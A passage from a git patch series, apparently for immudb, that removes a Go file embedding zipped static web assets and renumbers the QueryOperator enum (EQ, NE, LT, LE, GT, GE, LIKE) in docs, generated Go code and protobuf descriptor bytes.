d\x99\x02\x18\x18\xedW\x13\xc9\x02\x1e\xb2\xb2\x0e\x17\xa3\x9b\\?\xb9YF\x95\xf5\xc5\xeca3\x01\xf6h\xf9\xc9\x19\xa0\xa3Ck\x90\xa2vJ\x95\xe9\x02:\x0b/\xc8}W:\x0f.>/\xfa?i\xc2\xc1\xa9\x82\x0b_\xf9\x94\xd25M\x9cQ\xa8\xaf\xa8'\x169\x0f+\x10]W\xce\xa0\xed\x18\xb9jEx\xde\xd8\xdb\xde\x9b9\xbb\xa8u\xe5\x1c'/5\xd0O\xfd5J\x8f\x8fx\x07\xb6O\xca\x93fy\xb8\xb6\xac\x0e\xd3\x85\x90\xaf\x123\x82uw\xa4If\x0d\xcb*\xe05u\xc1\xe8\xda\xe0bI\xb4\x07>Y\xe7\xadZ\xac\x88)m,5A \xd4\x87\xfc\xfd5Dr\xcff\xcdaQ\xc9a\x8b\x11\xca\x89W\x1d\x9b\xd4I\xd8\x9b\x81\x07\xef%`\x10\x00\x12\x88\xf6\xc0P\xd8\xa4Q\xb8t\xca\xd8\xd9\xa1\x14\xa4\x0e\xff_\xa7\xfd'St_U-\xb0m^\xfc\xe0\xff\xdbG\xfe\xf0/t\xe7\xc6\xed\x1fZ\xcc\xce!\x941\xe3\xf0\xddX\xe7\xab\x8e\xf0\xd0\xee\x80\xe56\x16^\xb3 \x8f3\xf8\xe9Q,\xa2\x04\x07\xf3\xd6\xcc\xad\x8b\xef\xeb\x14\x0b\x1e\xbe\xe5\xa7\x07\xa9\xcf\xa3\x8e\xd3r\x8f\xdf\\\x96O7\x0b\xa3\xed\x85\xd0\xf1\x01c\xfd\xd1.\xce\xfa\xf0WO\xc1\xbb\x98\xc77\xd7\x1d\x95T\x81\xaf\xae\x1f\x1ek\xd4\xac\xb7\x99\xee\xd1\xc1\x17`\x87S\xb8Zq\n+\xf9y\xb2o\x12\xf1\xdc\x99&/O&;\xdf\xd4\x99&^\x1c\xb9qsH(\xc3\xbb\xa6\x86\xd4\xb2\x80{\xdc\x08\xfd2\x11b\xb2\x1f+\xa6\x9c\xf4\xaf\x8f\xe9\xa4\xa4N\xdf]\xcb\x9f\xca\x05\x17\xffy\xe4>~\xebI\x00\xfa\x9d\xca\xca\x1elr\x1df\xb7-!\xf9\xd2q\xc7\x12\x0b\x0b\x0bKCU\x07Q\xafl\x13\xf1?\x01\x00\x00\xff\xffPK\x07\x08{\x86\x02V\x89p\x00\x00\x99p\x00\x00PK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00\x99\x92OV\n\x06\xc6F\x0f\x02\x00\x00\x14\x04\x00\x00\x12\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81\x00\x00\x00\x00missing/index.htmlUT\x05\x00\x01\x82\"\xedcPK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00\x99\x92OV{\x86\x02V\x89p\x00\x00\x99p\x00\x00\x12\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81X\x02\x00\x00missing/mascot.pngUT\x05\x00\x01\x82\"\xedcPK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\x92\x00\x00\x00*s\x00\x00\x00\x00" - fs.Register(data) - } - \ No newline at end of file From 6a0ec31202d5428acd6342c0d1db83507aef9723 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Mon, 3 Apr 2023 10:05:11 +0200 Subject: [PATCH 0392/1062] Adjusted operators --- pkg/api/documentschema/docs.md | 11 +- pkg/api/documentschema/documentschema.pb.go | 244 +++++++++--------- pkg/api/documentschema/documentschema.proto | 11 +- .../documentschema.swagger.json | 7 +- 4 files changed, 140 insertions(+), 133 deletions(-) diff --git a/pkg/api/documentschema/docs.md b/pkg/api/documentschema/docs.md index 2e2d3879d0..522d0b9e16 100644 --- a/pkg/api/documentschema/docs.md +++ b/pkg/api/documentschema/docs.md @@ -480,11 +480,12 @@ | Name | Number | Description | | ---- | ------ | ----------- | | EQ | 0 | | -| GT | 1 | | -| GTE | 2 | | -| LT | 3 | | -| LTE | 4 | | -| LIKE | 5 | | +| NE | 1 | | +| LT | 2 | | +| LE | 3 | | +| GT | 4 | | +| GE | 5 | | +| LIKE | 6 | | diff --git a/pkg/api/documentschema/documentschema.pb.go b/pkg/api/documentschema/documentschema.pb.go index c996630c3a..158e215d4f 100644 --- a/pkg/api/documentschema/documentschema.pb.go +++ b/pkg/api/documentschema/documentschema.pb.go @@ -44,30 +44,33 @@ type QueryOperator int32 const ( QueryOperator_EQ QueryOperator = 0 - QueryOperator_GT QueryOperator = 1 - QueryOperator_GTE QueryOperator = 2 - QueryOperator_LT QueryOperator = 3 - QueryOperator_LTE QueryOperator = 4 - QueryOperator_LIKE QueryOperator = 5 + QueryOperator_NE QueryOperator = 1 + QueryOperator_LT QueryOperator = 2 + QueryOperator_LE QueryOperator = 3 + QueryOperator_GT QueryOperator = 4 + QueryOperator_GE QueryOperator = 5 + QueryOperator_LIKE QueryOperator = 6 ) // Enum value maps for QueryOperator. var ( QueryOperator_name = map[int32]string{ 0: "EQ", - 1: "GT", - 2: "GTE", - 3: "LT", - 4: "LTE", - 5: "LIKE", + 1: "NE", + 2: "LT", + 3: "LE", + 4: "GT", + 5: "GE", + 6: "LIKE", } QueryOperator_value = map[string]int32{ "EQ": 0, - "GT": 1, - "GTE": 2, - "LT": 3, - "LTE": 4, - "LIKE": 5, + "NE": 1, + "LT": 2, + "LE": 3, + "GT": 4, + "GE": 5, + "LIKE": 6, } ) @@ -1708,117 +1711,118 @@ var file_documentschema_proto_rawDesc = []byte{ 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1b, 0x0a, 0x05, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x2a, 0x43, 0x0a, 0x0d, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x2a, 0x49, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, - 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x01, 0x12, 0x07, 0x0a, - 0x03, 0x47, 0x54, 0x45, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x03, 0x12, 0x07, - 0x0a, 0x03, 0x4c, 0x54, 0x45, 0x10, 0x04, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, - 0x05, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, - 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, - 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, - 0x47, 0x10, 0x02, 0x32, 0xa1, 0x0b, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, + 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, + 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, + 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, + 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, + 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, + 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xa1, 0x0b, 0x0a, 0x0f, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, + 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, - 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, - 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, - 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, - 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, + 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, - 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, - 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, - 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, - 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, - 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, - 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, - 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, - 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, - 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, - 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, + 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, + 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, + 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, + 0x65, 